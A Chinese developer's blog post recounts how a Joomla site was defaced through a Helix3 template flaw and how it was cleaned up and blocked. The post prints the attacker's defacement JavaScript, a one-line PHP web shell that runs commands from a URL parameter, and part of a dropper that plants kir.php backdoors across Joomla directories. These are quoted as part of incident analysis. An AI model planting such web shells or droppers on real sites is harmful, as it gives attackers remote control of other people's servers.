PHP 网站第五次被黑,Joomla 网站显示 hacked by trenggalek6etar

文章目录

    这是我第五次亲历 PHP 网站被黑,这次是 Joomla 的 Helix3 漏洞导致的。

    现象

    打开网站的任何页面,前几秒还是正常的,过了几秒钟,页面就变成了一个全屏的吓人标语

    hacked by trenggalek6etar

    但是浏览器地址栏的链接并没有变化,不是之前遇到的跳X彩网站的做法。看起来是通过前端 JS 代码篡改了页面内容。伪装很强,不容易被页面防篡改程序发现。之所以会被发现,是在 Google 分析里,看到大量的搜索来源是 hacked by trenggalek6etar。

    先恢复网页显示

    进入 Joomla 后台(后台居然是正常的,真的良心),Extensions › Templates › Styles › (your Helix3 style) › Custom Code › Custom Javascript

    会看到一段 JS 代码

    document.addEventListener("DOMContentLoaded", function(){
      document.title = "hacked by trenggalek6etar";
      document.body.innerHTML =
        '<div style="position:fixed;inset:0;'
        + 'background:#0a0a0a;z-index:2147483647">'
        + ' … HACKED BY trenggalek6etar … '
        + '</div>';
    });
    

    删除它,保存即可恢复网页显示。注意需要清楚网站缓存:

    • 一是,清除 Joomla 缓存
    • 二是,如果用了 cloudflare 的缓存规则,也需要清除所有缓存

    被入侵的源头

    参考下面链接里的介绍

    https://htprotect.org/en/helix3

    概述一下,就是 Joomla 的 Helix3 模板框架存在一个漏洞,允许攻击者上传恶意 PHP 文件到网站的模板目录、后台组件目录、插件核心目录等。攻击者利用这个漏洞,在网站上放置了一个全屏篡改信息的 JS 代码。Helix3 3.1.1 之前的版本有此漏洞,3.1.1 之后的版本修复了这个漏洞。这个漏洞是 2026 年 7 月初被发现的。没想到这么快就中招了。

    堵住漏洞

    由于网站太老了,无法升级 Helix3 版本,所以只能通过其他方式来规避被再次入侵。目前采用了两套方案:

    第一,先禁用掉了 Helix3 - Ajax 插件,这是 Helix3 其中的一个插件,而这个插件是漏洞的源头。而且测试了一下,禁用之后,并没有影响网站的正常显示,也不影响网站中表单的提交,以及内容的发布。

    第二,在 cloudflare 里配置了一个规则,拦截所有针对 Helix3 Ajax 插件的外部请求。

    (http.request.uri.query contains "option=com_ajax" and http.request.uri.query contains "plugin=helix3")
    

    当然,最稳妥的方式还是升级 Helix3 版本,升级到 3.1.1 或者更高版本。

    清理服务器上的恶意文件

    查看 Joomla 根目录下的目录及文件最后修改时间,会发现近期不少目录被修改过,且增加了不少随机文件名目录及文件。例如:

    drwxr-xr-x 40    12288 Jul 11 02:02 tmp
    -rw-r--r--  1      448 Jul 10 15:20 zzwzm.php.json
    drwxr-xr-x 23     4096 Jul 10 15:20 .
    -rw-r--r--  1       25 Jul  6 21:22 cox.json
    drwxr-xr-x 11     4096 Jul  5 23:00 templates
    drwxr-xr-x 92     4096 Jul  3 21:24 media
    drwxr-xr-x  6     4096 Jul  3 15:21 cache
    drwxr-xr-x  4     4096 Jul  2 21:05 gzfxw
    drwxr-xr-x  4     4096 Jul  2 19:38 utavg
    drwxr-xr-x  4     4096 Jul  2 14:18 jiptm
    

    随便打开一个看看:

    # cat cox.json
    hacked by trenggalek6etar
    

    templates 目录下也有不少被修改过的目录,同样多了不少随机文件名目录:

    # ls -lah templates/
    total 52K
    drwxr-xr-x 11  4.0K Jul  5 23:00 .
    drwxr-xr-x 23  4.0K Jul 10 15:20 ..
    drwxr-xr-x  3  4.0K Jul  9  2024 cassiopeia
    -rw-r--r--  1    25 Jul  6 21:22 cox.json
    -rw-r--r--  1    31 Feb 13  2024 index.html
    drwxr-xr-x  4  4.0K Jul  5 23:00 pokkvswt
    drwxr-xr-x  2  4.0K Jul  3 15:21 protostar
    drwxr-xr-x 13  4.0K Jul  9  2024 shaper_helixultimate
    drwxr-xr-x 12  4.0K Jul  9  2024 shaper_revibe
    drwxr-xr-x  2  4.0K Jul  9  2024 system
    drwxr-xr-x  4  4.0K Jun 29 20:27 uhnihlor
    drwxr-xr-x  4  4.0K Jul  3 15:43 viavvdvv
    drwxr-xr-x  4  4.0K Jul  4 19:15 vrvetvzu
    

    打开看看:

    # cat templates/vrvetvzu/fonts/tvkuri.Php
    <?php @error_reporting(0);if(!empty($_GET["cmd"])){echo @shell_exec($_GET["cmd"]);exit;}echo "SPBPWN42";?>
    

    标准的远程命令执行后门,访问这个 PHP 文件时,如果 URL 里带上 cmd 参数,就可以执行任意命令。

    还有其他的后门程序,总之应有尽有:

    // Find kir.php source
    $cands=array(__DIR__.'/kir.php',__DIR__.'/fonts/kir.php',dirname(__DIR__).'/fonts/kir.php',dirname(__DIR__).'/kir.php',dirname(dirn
    ame(__DIR__)).'/fonts/kir.php');
    $src='';
    foreach($cands as $c){if(file_exists($c)&&filesize($c)>100){$src=$c;break;}}
    if(!$src)die('NO_SRC');
    $d=file_get_contents($src);
    if(!$d||strlen($d)<100)die('NO_READ');
    // Find Joomla root by looking for configuration.php
    $root=false;
    $dirs=array(dirname(dirname($src)),dirname(dirname(dirname($src))),dirname(dirname(dirname(dirname($src)))));
    foreach($dirs as $dd){
    if(file_exists($dd.'/configuration.php')){$root=$dd;break;}
    }
    if(!$root)$root=dirname(dirname($src));
    $targets=array(
    'cache/com_content/kir.php',
    'images/headers/kir.php',
    'images/sampledata/fruitshop/kir.php',
    'images/banners/kir.php',
    'plugins/system/log/kir.php',
    'components/com_wrapper/views/kir.php',
    'layouts/joomla/html/kir.php',
    'administrator/components/com_cpanel/helpers/kir.php',
    'media/plg_captcha_recaptcha/kir.php',
    'libraries/vendor/phpmailer/src/kir.php',
    'libraries/vendor/smautocomplete/kir.php',
    'modules/mod_custom/tmpl/kir.php',
    'templates/protostar/kir.php',
    'tmp/.session_cache/kir.php',
    'cache/page/kir.php',
    );
    $results=array();
    

    然后还会发现其他地方的奇怪文件

    # grep trenggalek6etar -r .
    ./tmp/cox.json:hacked by trenggalek6etar
    ./media/cox.json:hacked by trenggalek6etar
    ./images/16a4bcea4749ed_cox.txt:hacked by trenggalek6etar
    ./images/16a4bceb04530e_cox.txt:hacked by trenggalek6etar
    ./images/cox.json:hacked by trenggalek6etar
    ./images/cox.txt:hacked by trenggalek6etar
    
    /images# ls -lat
    total 11877
    drwxr-xr-x 20    4096 Jul 11 04:29 ..
    -rw-r--r--  1      25 Jul  6 21:22 cox.json
    -rw-r--r--  1      25 Jul  6 15:50 16a4bceb04530e_cox.txt
    -rw-r--r--  1      25 Jul  6 15:49 16a4bcea4749ed_cox.txt
    drwxr-xr-x  1       0 Jul  5 22:59 pokkvswt
    drwxr-xr-x  1       0 Jul  4 19:14 vrvetvzu
    drwxr-xr-x  1       0 Jul  3 15:42 viavvdvv
    drwxr-xr-x  1       0 Jul  3 07:19 sampledata
    drwxr-xr-x  1       0 Jun 29 20:27 uhnihlor
    -rw-r--r--  1  121732 Jun 23 23:15 cox.gif
    -rw-r--r--  1      25 Jun 23 23:15 cox.txt
    drwxr-xr-x  1       0 Jun 22 19:37 p66olgw3
    drwxr-xr-x  1       0 Jan  4  2026 2026
    

    最后做一波检查,看 2026年6月10日 至 7月12日 之间被改动的 PHP 文件

    find . -type f -name "*.php" -newermt "2026-06-10" ! -newermt "2026-07-12" -ls
    

    自定义样式恢复问题

    黑客在利用漏洞修改了 custom js 之后,同时把之前的自定义样式重置了。
    可以通过备份找到 template_styles 这个表,把数据重新导入即可。所以,数据库备份还是非常重要的。

    关于作者 🌱

    我是来自山东烟台的一名开发者,有感兴趣的话题,或者软件开发需求,欢迎加微信 zhongwei 聊聊,或者关注我的个人公众号“大象工具”, 查看更多联系方式